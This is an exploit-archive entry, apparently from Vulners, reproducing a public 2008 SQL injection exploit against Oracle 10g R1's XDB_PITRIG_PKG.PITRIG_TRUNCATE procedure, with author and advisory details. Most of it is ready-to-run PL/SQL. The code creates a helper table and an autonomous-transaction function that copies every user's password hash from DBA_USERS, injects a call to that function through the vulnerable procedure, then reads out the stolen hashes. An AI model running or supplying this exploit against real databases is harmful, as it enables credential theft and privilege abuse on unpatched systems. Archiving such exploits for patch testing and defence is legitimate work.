Oracle 10g R1 pitrig_truncate PLSQL Injection (get users hash)

🗓️ 29 Jan 2008 00:00:00Reported by RootType
Oracle 10g R1 pitrig_truncate PLSQL Injection (get users hash

                                                /******************************************************************/
/*******&nbsp;Oracle&nbsp;10g&nbsp;R1&nbsp;xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE&nbsp;*********/
/*******&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQL&nbsp;Injection&nbsp;Exploit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*********/
/******************************************************************/
/************&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sploit&nbsp;get&nbsp;password&nbsp;Hashes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;***************/
/******************************************************************/
/******************&nbsp;&nbsp;BY&nbsp;Sh2kerr&nbsp;(Digital&nbsp;Security)&nbsp;&nbsp;***************/
/******************************************************************/
/*****************&nbsp;tested&nbsp;on&nbsp;oracle&nbsp;10.1.0.2.0&nbsp;&nbsp;*******************/
/******************************************************************/
/******************************************************************/
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Date&nbsp;of&nbsp;Public&nbsp;EXPLOIT:&nbsp;&nbsp;January&nbsp;28,&nbsp;2008&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Written&nbsp;by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Alexandr&nbsp;&quot;Sh2kerr&quot;&nbsp;Polyakov&nbsp;&nbsp;&nbsp;*/
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;email:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[email protected]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;site:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.dsec.ru&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
/******************************************************************/
/*&nbsp;&nbsp;Original&nbsp;Advisory&nbsp;by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Alexandr&nbsp;Polyakov&nbsp;[&nbsp;[email protected]]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Reported:&nbsp;18&nbsp;&nbsp;Dec&nbsp;2007&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Date&nbsp;of&nbsp;Public&nbsp;Advisory:&nbsp;January&nbsp;15,&nbsp;2008&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Advisory:&nbsp;http://www.oracle.com/technology/deploy/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;security/critical-patch-updates/cpujan2008.html&nbsp;*/
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
/******************************************************************/


CREATE&nbsp;TABLE&nbsp;SH2KERR(id&nbsp;NUMBER,name&nbsp;VARCHAR(20),password&nbsp;VARCHAR(16));

CREATE&nbsp;OR&nbsp;REPLACE&nbsp;FUNCTION&nbsp;SHOWPASS&nbsp;return&nbsp;varchar2
authid&nbsp;current_user&nbsp;as
pragma&nbsp;autonomous_transaction;
BEGIN
EXECUTE&nbsp;IMMEDIATE&nbsp;'INSERT&nbsp;INTO&nbsp;SCOTT.sh2kerr(id,name,password)&nbsp;SELECT&nbsp;user_id,username,password&nbsp;FROM&nbsp;DBA_USERS';
COMMIT;
RETURN&nbsp;'';
END;
/


EXEC&nbsp;XDB.XDB_PITRIG_PKG.PITRIG_TRUNCATE('SCOTT&quot;.&quot;SH2KERR&quot;&nbsp;WHERE&nbsp;1=SCOTT.SHOWPASS()--','HELLO&nbsp;IDS&nbsp;IT&nbsp;IS&nbsp;EXPLOIT&nbsp;:)');

select&nbsp;*&nbsp;from&nbsp;sh2kerr;




/******************************************************************/
/***************************&nbsp;SEE&nbsp;U&nbsp;LATER&nbsp;&nbsp;;)&nbsp;&nbsp;***********************/
/******************************************************************/
29 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1